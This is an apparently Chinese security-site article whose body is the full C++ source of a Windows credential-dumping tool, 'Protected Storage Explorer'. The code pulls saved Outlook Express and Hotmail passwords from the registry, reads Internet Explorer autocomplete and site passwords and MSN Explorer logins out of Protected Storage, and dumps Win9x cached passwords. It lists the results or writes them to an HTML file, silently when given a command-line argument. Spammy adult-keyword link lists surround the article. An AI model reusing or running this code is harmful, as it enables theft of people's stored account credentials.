国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

通過Protected Storage獲取賬號信息
2007-01-18   

我們知道NT以后的系統中有一個這樣的服務:Protected Storage。他是用來儲存本地密碼和網上服務密碼的服務,包括填表時的“自動完成”功能以及OUTLOOK對應的賬號信息。相應的我們就可以通過該服務來獲取保存的賬號信息。 源代碼如下:

    
/////////////////////////////////////////////////////////////////////////////////////// 
/////////////////////////////////////////////////////////////////////////////////////// 
// //
//Protected Storage Explorer // 
// By Hirosh // 
//www.hirosh.net //
// //
// // 
//No CopyRights- Feel Free to Cut & Paste // 
// // 
// //
/////////////////////////////////////////////////////////////////////////////////////// 
/////////////////////////////////////////////////////////////////////////////////////// 


#include "stdafx.h"
#include <commctrl.h>
#include "resource.h"
#import "pstorec.dll" no_namespace har SavingFname[MAX_PATH];
HWND hwndlistview;
BOOL iS9x=FALSE;
typedef struct TOOUTDATA{
char POPuser[100];
char POPpass[100];
char POPserver[100];
} OOUTDATA;
OOUTDATA OutlookData[50];
int oIndex=0;

void EnumOutlookAccounts()
{
ZeroMemory(OutlookData,sizeof(OutlookData));
HKEY hkeyresult ,hkeyresult1;
long l,i;
char name[200],skey[200];
DWORD dw2;
FILETIME f;
lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS, 
&hkeyresult1 );
if(ERROR_SUCCESS != lResult)
return ;
i=0;l=0;
BYTE Data[150];
BYTE Data1[150];
DWORD size;
int j;
j=0;
DWORD type=REG_BINARY;
while(l!=ERROR_NO_MORE_ITEMS){
dw2=200;
l=RegEnumKeyEx(hkeyresult1,i,name,&dw2,NULL,NULL,NULL,&f);
lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts");
lstrcat(skey,"\\");
lstrcat(skey,name);
RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult );
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail User Name" , 0, &type, Data, &size )
==ERROR_SUCCESS)
{
lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
ZeroMemory(Data,sizeof(Data));
lstrcpy(OutlookData[oIndex].POPserver,"Hotmail");
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail Password2" , 0, &type, Data1, 
&size ) ==ERROR_SUCCESS){
int totnopass=0;
char mess[100];
for(int i=2;i<size;i++)
if(IsCharAlphaNumeric(Data1[i])||(Data1[i]=='(')||(Data1[i]==')')||(Data1[i]=='.')||(Data1
[i]==' ')||(Data1[i]=='-')){
OutlookData[oIndex].POPpass[totnopass]=Data1[i];
totnopass++;
}
OutlookData[oIndex].POPpass[totnopass]=0;
}
ZeroMemory(Data1,sizeof(Data));
oIndex++;
}
else if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 User Name" , 0, &type, Data, 
&size )==ERROR_SUCCESS)
{
lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);
ZeroMemory(Data,sizeof(Data));
size=sizeof(Data);
RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Server" , 0, &type, Data, &size ) ;
lstrcpy(OutlookData[oIndex].POPserver,(char *)Data);
ZeroMemory(Data,sizeof(Data));
size=sizeof(Data);
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"POP3 Password2" , 0, &type, Data1, &size ) 
==ERROR_SUCCESS){
int totnopass=0;
char mess[100];
for(int i=2;i<size;i++)
if(IsCharAlphaNumeric(Data1[i])||(Data1[i]=='(')||(Data1[i]==')')||(Data1[i]=='.')||(Data1
[i]==' ')||(Data1[i]=='-')){
OutlookData[oIndex].POPpass[totnopass]=Data1[i];
totnopass++;
}
OutlookData[oIndex].POPpass[totnopass]=0;
}
ZeroMemory(Data1,sizeof(Data1));
oIndex++;
}
j++;i++;
}
}

void SaveToDisk(char *buf){
DWORD dwBytes;
HANDLE hf = CreateFile (SavingFname, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 
FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hf,0 ,NULL,FILE_END);
WriteFile (hf, (LPVOID)buf,strlen(buf), &dwBytes, NULL);
CloseHandle(hf);
}

BOOL AddItemm(BOOL Save,char *resname,char *restype,char *usrname,char *pass)
{
if(!Save){
LVITEM lvi;
lvi.mask = LVIF_TEXT; 
lvi.state = LVIS_SELECTED ; 
lvi.stateMask = 0; 

lvi.iItem = 10000;
lvi.iSubItem = 0;
lvi.pszText = "";

int i = ListView_InsertItem(hwndlistview, &lvi);
if(!iS9x){
ListView_SetItemText(hwndlistview, i, 0, resname);
ListView_SetItemText(hwndlistview, i, 1, restype);
ListView_SetItemText(hwndlistview, i, 2, usrname);
ListView_SetItemText(hwndlistview, i, 3, pass);
}
else{
ListView_SetItemText(hwndlistview, i, 0, usrname);
ListView_SetItemText(hwndlistview, i, 1, pass);
}
SetFocus(hwndlistview);
ListView_SetItemState (hwndlistview,i,LVIS_FOCUSED | LVIS_SELECTED, 0x000F); 
ListView_SetSelectionMark(hwndlistview,i);
}
else{
if(!iS9x){
SaveToDisk("\r\n");
SaveToDisk("<tr><td>");
SaveToDisk(resname);
SaveToDisk("</td><td>");
SaveToDisk(restype);
SaveToDisk("</td><td>");
SaveToDisk(usrname);
SaveToDisk("</td><td>");
SaveToDisk(pass);
SaveToDisk("</td></tr>");
SaveToDisk("\r\n");
}
else{
SaveToDisk("\r\n");
SaveToDisk("<tr><td>");
SaveToDisk(usrname);
SaveToDisk("</td><td>");
SaveToDisk(pass);
SaveToDisk("</td></tr>");
SaveToDisk("\r\n");
}
}
return TRUE;
} 

void EnumPStorage(BOOL Save){
typedef HRESULT (WINAPI *tPStoreCreateInstance)(IPStore **, DWORD, DWORD, DWORD);
HMODULE hpsDLL; 
hpsDLL = LoadLibrary("pstorec.dll");

tPStoreCreateInstance pPStoreCreateInstance;
pPStoreCreateInstance = (tPStoreCreateInstance)GetProcAddress(hpsDLL, "PStoreCreateInstance");

IPStorePtr PStore; 
HRESULT hRes = pPStoreCreateInstance(&PStore, 0, 0, 0); 

IEnumPStoreTypesPtr EnumPStoreTypes;
hRes = PStore->EnumTypes(0, 0, &EnumPStoreTypes);

if (!FAILED(hRes))
{

GUID TypeGUID;
char szItemName[512]; 
char szItemData[512];
char szResName[1512];
char szResData[512];
char szItemGUID[50];

while(EnumPStoreTypes->raw_Next(1,&TypeGUID,0) == S_OK){ 
wsprintf(szItemGUID,"%x",TypeGUID);

IEnumPStoreTypesPtr EnumSubTypes;
hRes = PStore->EnumSubtypes(0, &TypeGUID, 0, &EnumSubTypes);

GUID subTypeGUID;
while(EnumSubTypes->raw_Next(1,&subTypeGUID,0) == S_OK){

IEnumPStoreItemsPtr spEnumItems;
HRESULT hRes = PStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems);

LPWSTR itemName;
while(spEnumItems->raw_Next(1,&itemName,0) == S_OK){ 
wsprintf(szItemName,"%ws",itemName); 
char chekingdata[200];
unsigned long psDataLen = 0;
unsigned char *psData = NULL;
_PST_PROMPTINFO *pstiinfo = NULL;
hRes = PStore->ReadItem(0,&TypeGUID,&subTypeGUID,itemName,&psDataLen,&psData,pstiinfo,0);
if(lstrlen((char *)psData)<(psDataLen-1))
{
int i=0;
for(int m=0;m<psDataLen;m+=2){
if(psData[m]==0)
szItemData[i]=',';
else
szItemData[i]=psData[m];
i++;
}
szItemData[i-1]=0; 
}
else { 
wsprintf(szItemData,"%s",psData); 
}
lstrcpy(szResName,"");
lstrcpy(szResData,"");
//220d5cc1 Outlooks
if(lstrcmp(szItemGUID,"220d5cc1")==0){
BOOL bDeletedOEAccount=TRUE;
for(int i=0;i<oIndex;i++){ 
if(lstrcmp(OutlookData[i].POPpass,szItemName)==0){ 
bDeletedOEAccount=FALSE;
AddItemm(Save,OutlookData[i].POPserver,"OutlookExpress",OutlookData[i].POPuser,szItemData);
break;
}
}
if(bDeletedOEAccount)
AddItemm(Save,szItemName,"Deleted OE Account",OutlookData[i].POPuser,szItemData);
} 
//5e7e8100 - IE:Password-Protected sites
if(lstrcmp(szItemGUID,"5e7e8100")==0){ 
lstrcpy(chekingdata,"");
if(strstr(szItemData,":")!=0){
lstrcpy(chekingdata,strstr(szItemData,":")+1);
*(strstr(szItemData,":"))=0; 
}
AddItemm(Save,szItemName,"IE:Password-Protected sites",szItemData,chekingdata);
}
// b9819c52 MSN Explorer Signup
if(lstrcmp(szItemGUID,"b9819c52")==0){
char msnid[100];
char msnpass[100];
int i=0;
BOOL first=TRUE;
for(int m=0;m<psDataLen;m+=2){
if(psData[m]==0){
szItemData[i]=',';
i++;
}
else{
if(IsCharAlphaNumeric(psData[m])||(psData[m]=='@')||(psData[m]=='.')||(psData[m]=='_')){
szItemData[i]=psData[m];
i++;
}
}
}
szItemData[i-1]=0;
char *p;
p=szItemData+2;
//psData[4] - number of msn accounts 
for(int ii=0;ii<psData[4];ii++){
lstrcpy(msnid,p+1);
if(strstr(msnid,",")!=0) *strstr(msnid,",")=0;
if(strstr(p+1,",")!=0)
lstrcpy(msnpass,strstr(p+1,",")+2);
if(strstr(msnpass,",")!=0) *strstr(msnpass,",")=0;
p=strstr(p+1,",")+2+lstrlen(msnpass)+7;
AddItemm(Save,msnid,"MSN Explorer Signup",msnid,msnpass);
}

}
//e161255a IE 
if(lstrcmp(szItemGUID,"e161255a")==0){
if(strstr(szItemName,"StringIndex")==0){
if(strstr(szItemName,":String")!=0) *strstr(szItemName,":String")=0; 
lstrcpyn(chekingdata,szItemName,8); 
if((strstr(chekingdata,"http:/")==0)&&(strstr(chekingdata,"https:/")==0))
AddItemm(Save,szItemName,"IE Auto Complete Fields",szItemData,"");

else{
lstrcpy(chekingdata,"");
if(strstr(szItemData,",")!=0){
lstrcpy(chekingdata,strstr(szItemData,",")+1);
*(strstr(szItemData,","))=0; 
}
AddItemm(Save,szItemName,"AutoComplete Passwords",szItemData,chekingdata);
}
}}
ZeroMemory(szItemName,sizeof(szItemName));
ZeroMemory(szItemData,sizeof(szItemData)); 
} 
} 
} 
}


}
//////////////////Cashed PAsses- 9x
struct PASSWORD_CACHE_ENTRY { WORD cbEntry; WORD cbResource; WORD cbPassword; BYTE 
iEntry;BYTE nType; char abResource[1];};
typedef BOOL (FAR PASCAL *CACHECALLBACK)( struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD 
dwRefData );
DWORD APIENTRY WNetEnumCachedPasswords(LPSTR pbPrefix,WORD cbPrefix,BYTE 
nType,CACHECALLBACK pfnCallback,DWORD dwRefData);
typedef DWORD (WINAPI *ENUMPASSWORD)(LPSTR pbPrefix, WORD cbPrefix, BYTE nType, 
CACHECALLBACK pfnCallback, DWORD dwRefData);
ENUMPASSWORD pWNetEnumCachedPasswords;
typedef struct {char *pBuffer;int nBufLen;int nBufPos;} PASSCACHECALLBACK_DATA;

BOOL PASCAL AddPass(struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData)
{
char buff[1024],buff2[1024];
int nCount;
PASSCACHECALLBACK_DATA *dat;
dat = (PASSCACHECALLBACK_DATA *)dwRefData;
nCount=pce->cbResource+1;
if(nCount>1023) nCount=1023;
lstrcpyn(buff, pce->abResource, nCount);
buff[nCount] = 0;
CharToOem(buff, buff2);
if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;
lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
dat->nBufPos+=lstrlen(buff2)+1;

nCount=pce->cbPassword+1;
if(nCount>1023) nCount=1023;
lstrcpyn(buff, pce->abResource+pce->cbResource, nCount);
buff[nCount] = 0;
CharToOem(buff, buff2);
if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;
lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
dat->nBufPos+=lstrlen(buff2)+1;

return TRUE;
}
void CashedPass(BOOL Save)
{
HMODULE hLib=LoadLibrary("MPR.DLL");

PASSCACHECALLBACK_DATA dat;
dat.pBuffer=(char *)malloc(65536);
dat.nBufLen=65536;
dat.nBufPos=0;
pWNetEnumCachedPasswords = (ENUMPASSWORD)GetProcAddress(hLib, "WNetEnumCachedPasswords");

pWNetEnumCachedPasswords(NULL, 0, 0xff, AddPass, (DWORD) &dat);
char *svStr;
svStr=dat.pBuffer; 
do {
char *svRsc=svStr;
svStr+=lstrlen(svStr)+1; 
char *svPwd=svStr;
svStr+=lstrlen(svStr)+1; 
char szUser[1024];
char szPass[1024]; 
AddItemm(Save,"","",svRsc,svPwd); 
}while(*svStr!='\0');

FreeLibrary(hLib);

};
/////////////////////////////////////////
#define TableHeader "<p><b><font color=\"#FF0000\"></font></b></p><table border=\"1\" 
cellpadding=\"0\" cellspacing=\"0\"style=\"border-collapse: collapse\" 
bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\">"
#define Table "</table>"
#include <commdlg.h>
LRESULT CALLBACK DLgProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
OPENFILENAME ofn;
char szFile[MAX_PATH]; 
switch (message){

case WM_INITDIALOG:
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)LoadIcon(GetModuleHandle(0), 
MAKEINTRESOURCE(IDI_ICON1)));
if(!iS9x)
SetWindowText(hDlg,"Protected Storage www.hirosh.NET");
else SetWindowText(hDlg,"Cashed Passwords www.hirosh.NET");

hwndlistview = GetDlgItem(hDlg, IDC_LIST3);
LVCOLUMN lvcol;
if(!iS9x){
lvcol.mask =LVCF_TEXT;;
lvcol.pszText = "Resource Name";
ListView_InsertColumn(hwndlistview, 0, &lvcol);
ListView_SetColumnWidth(hwndlistview, 0, 160);

lvcol.mask =LVCF_TEXT;
lvcol.pszText = "Resource Type";
ListView_InsertColumn(hwndlistview, 1, &lvcol);
ListView_SetColumnWidth(hwndlistview, 1, 110);

lvcol.mask =LVCF_TEXT;
lvcol.pszText = "User Name/Value";
ListView_InsertColumn(hwndlistview, 2, &lvcol);
ListView_SetColumnWidth(hwndlistview, 2, 200);

lvcol.mask =LVCF_TEXT;
lvcol.pszText = "Password";
ListView_InsertColumn(hwndlistview, 3, &lvcol);
ListView_SetColumnWidth(hwndlistview, 3, 100);
EnumOutlookAccounts();
EnumPStorage(FALSE);
}
else{
lvcol.mask =LVCF_TEXT;
lvcol.pszText = "User Name/Value";
ListView_InsertColumn(hwndlistview, 0, &lvcol);
ListView_SetColumnWidth(hwndlistview, 0, 250);

lvcol.mask =LVCF_TEXT;
lvcol.pszText = "Password";
ListView_InsertColumn(hwndlistview, 1, &lvcol);
ListView_SetColumnWidth(hwndlistview, 1, 150);
CashedPass(FALSE);
}
ListView_SetExtendedListViewStyle(hwndlistview,LVS_EX_FULLROWSELECT);

return TRUE;

case WM_COMMAND:
switch ( LOWORD(wParam) ){

case IDOK:
ZeroMemory(&ofn, sizeof(OPENFILENAME));
ofn.lStructSize = sizeof(OPENFILENAME);
ofn.hwndOwner = hDlg;lstrcpy(szFile,"*.*");
ofn.lpstrFile ="pstectedstorage.htm";ofn.nMaxFile = sizeof(szFile);
ofn.lpstrFilter = "Htm\0*.htm\0";
ofn.nFilterIndex = 1;ofn.lpstrFileTitle = NULL;
ofn.nMaxFileTitle = 0;ofn.lpstrInitialDir = NULL;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
if (GetSaveFileName(&ofn)==TRUE) {
lstrcpy(SavingFname,ofn.lpstrFile);
if(strstr(SavingFname,".htm")==0)lstrcat(SavingFname,".htm");
SaveToDisk(TableHeader);
if(!iS9x){
SaveToDisk("<tr><td><b><font color=\"#FF0000\">Resource Name </font></b></td><td><b><font 
color=\"#FF0000\">Resource Type </font></b></td><td><b><font color=\"#FF0000\">User 
Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
EnumOutlookAccounts();
EnumPStorage(TRUE);
}
else{
SaveToDisk("<tr><td><b><font color=\"#FF0000\">User 
Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
CashedPass(TRUE);
}
SaveToDisk(Table);
}
break;
case IDCANCEL:
EndDialog(hDlg, LOWORD(wParam));
ExitProcess(0);
break;

break;
}
}

return FALSE;
}
// 
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)

{
if((int)GetVersion() < 0) iS9x=TRUE;
else iS9x=FALSE;
if(lpCmdLine[0]==NULL){
InitCommonControls();
DialogBox(hInstance, (LPCTSTR)IDD_DIALGMAIN, 0, (DLGPROC)DLgProc);
}
else {
lstrcpy(SavingFname,lpCmdLine);
SaveToDisk(TableHeader);
if(!iS9x){
SaveToDisk("<tr><td><b><font color=\"#FF0000\">Resource Name </font></b></td><td><b><font
 color=\"#FF0000\">Resource Type </font></b></td><td><b><font color=\"#FF0000\">User 
Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
EnumOutlookAccounts();
EnumPStorage(TRUE);
}
else{
SaveToDisk("<tr><td><b><font color=\"#FF0000\">User 
Name/Value</font></b></td><td><b><font color=\"#FF0000\">Password</font></b></td></tr>");
CashedPass(TRUE);
}
SaveToDisk(Table);
}

return 0;
}
責任編輯: 雪花(TEL:(010)68476636-8008)

熱詞搜索:

上一篇:系統安全基礎之WindowsXP錯誤編號詳解
下一篇:使用MD5變換算法來防止窮舉破譯密碼

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
中文字幕欧美激情| 日本女优在线视频一区二区| 香蕉加勒比综合久久| 国产一区二区三区综合| 在线亚洲高清视频| 国产午夜精品美女毛片视频| 久久99精品久久久久久| 欧美日韩精品一区视频| 亚洲精选视频在线| 成人午夜av电影| 亚洲大型综合色站| 日韩一区二区精品| 成人爱爱电影网址| ...中文天堂在线一区| 91精品国产色综合久久ai换脸 | 在线免费精品视频| 美日韩一级片在线观看| 亚洲图片欧美激情| 在线观看国产日韩| 国产超碰在线一区| 日韩国产在线一| 中文字幕精品一区二区三区精品 | 蜜臀a∨国产成人精品| 中文字幕av资源一区| 欧美日韩亚洲综合一区| 成人免费毛片app| 毛片av中文字幕一区二区| 亚洲四区在线观看| 26uuu国产日韩综合| 色丁香久综合在线久综合在线观看| 日韩电影在线一区二区三区| 国产欧美日本一区视频| 欧美一区二区三区系列电影| 91丨porny丨国产入口| 国产一区二区久久| 美女网站在线免费欧美精品| 国产精品一线二线三线| 久久成人18免费观看| 麻豆91免费观看| 视频在线在亚洲| 亚洲国产精品嫩草影院| 亚洲高清视频的网址| 亚洲一二三级电影| 亚洲成在人线在线播放| 国产精品影视网| 国产在线精品一区二区夜色| 日日夜夜免费精品视频| 午夜久久久影院| 日韩在线a电影| 国产精品1024| 99视频有精品| 91精品国产欧美一区二区18| 日韩精品中文字幕一区| 久久久久久日产精品| 久久久久久毛片| 亚洲另类春色校园小说| 午夜精品福利在线| 国产露脸91国语对白| 成人国产精品免费观看动漫| 一本大道av一区二区在线播放| 91麻豆国产在线观看| 欧美色男人天堂| 精品久久久久久亚洲综合网| 日本一区二区三区在线观看| 一区二区高清免费观看影视大全 | 欧美精品一区二区久久婷婷| 国产丝袜在线精品| 一区二区三区欧美久久| 麻豆国产精品视频| 欧美在线观看你懂的| 26uuu色噜噜精品一区二区| 夜夜精品视频一区二区| 国产在线视频一区二区| 色综合天天综合网天天狠天天 | 国产欧美一区二区精品秋霞影院| 亚洲免费高清视频在线| 国产a久久麻豆| 精品国精品自拍自在线| 亚洲国产综合91精品麻豆| 懂色av一区二区三区免费看| 91精品国产一区二区三区香蕉| 国产精品全国免费观看高清| 天堂在线亚洲视频| 91久久精品一区二区| 久久五月婷婷丁香社区| 亚洲第一激情av| 欧洲视频一区二区| 最新成人av在线| 日本韩国欧美一区| 中文字幕一区二区三区四区不卡| 成人免费视频视频| 久久青草国产手机看片福利盒子| 青青草原综合久久大伊人精品优势| 欧美曰成人黄网| 日韩精品国产精品| 精品久久久久久久人人人人传媒| 日日夜夜精品免费视频| 欧美一区二区精美| 国产精品原创巨作av| 亚洲国产精品传媒在线观看| 国产精品一二三| 日韩理论片中文av| 69堂成人精品免费视频| 久久电影网站中文字幕| 国产女主播视频一区二区| www.日韩精品| 午夜伊人狠狠久久| 国产三级欧美三级日产三级99| 成人午夜短视频| 亚洲电影在线免费观看| 精品国产网站在线观看| 色综合久久久久久久久久久| 亚州成人在线电影| 国产香蕉久久精品综合网| 91福利视频在线| 欧美性大战久久久| 国产精品乡下勾搭老头1| 一区二区三区91| 精品国产一二三| 在线免费观看不卡av| 国产精品一区二区三区乱码| 亚洲一线二线三线久久久| 日韩一区二区三区免费看| 不卡的av电影| 国产一区在线精品| 日本怡春院一区二区| 亚洲精品中文字幕在线观看| 日韩色视频在线观看| 欧美亚洲尤物久久| 91极品美女在线| 99久久久久久99| 国产99精品国产| 精一区二区三区| 亚洲电影一级片| ●精品国产综合乱码久久久久| 日韩午夜激情av| 欧美日本乱大交xxxxx| 色欧美片视频在线观看在线视频| 日本丶国产丶欧美色综合| 国产精品99久久久久久久vr| 国产一区二区调教| 日本最新不卡在线| 日韩精品免费视频人成| 天堂va蜜桃一区二区三区| 午夜精品一区二区三区电影天堂| 亚洲欧美日韩电影| 亚洲小说欧美激情另类| 亚洲成人av一区二区三区| 亚洲福利视频一区二区| 男男视频亚洲欧美| 国产精品一区二区久久不卡| 国产一区二区三区久久悠悠色av| 国产精品自产自拍| 91亚洲男人天堂| 在线不卡的av| 亚洲精品在线免费播放| 久久蜜臀中文字幕| 国产精品欧美一级免费| 亚洲综合在线视频| 久久99精品国产.久久久久久| 国产精品一区二区久久精品爱涩| 成人免费视频一区二区| 欧美日韩国产高清一区二区| 精品国内片67194| 亚洲精品视频免费看| 日本视频免费一区| 色狠狠av一区二区三区| 日韩欧美www| 亚洲一二三四久久| 国产成人夜色高潮福利影视| 欧美亚洲丝袜传媒另类| 国产欧美视频一区二区三区| 午夜精品影院在线观看| 成人中文字幕合集| 日韩精品在线一区| 天天av天天翘天天综合网色鬼国产| 丁香另类激情小说| 亚洲国产精品自拍| 国产精品一二一区| 久久综合九色综合久久久精品综合| 亚洲综合无码一区二区| 成人免费毛片app| 欧美精彩视频一区二区三区| 日韩不卡手机在线v区| 欧美日本视频在线| 天天色综合成人网| 51精品国自产在线| 性感美女极品91精品| 欧美亚男人的天堂| 一区二区成人在线观看| 欧美精品久久天天躁| 性做久久久久久免费观看欧美| 色综合中文字幕国产 | 国产三级三级三级精品8ⅰ区| 久久精品免费观看| 欧美韩国一区二区| 成人美女视频在线看| 一区二区三区成人| 91精品国产综合久久福利| 九九热在线视频观看这里只有精品|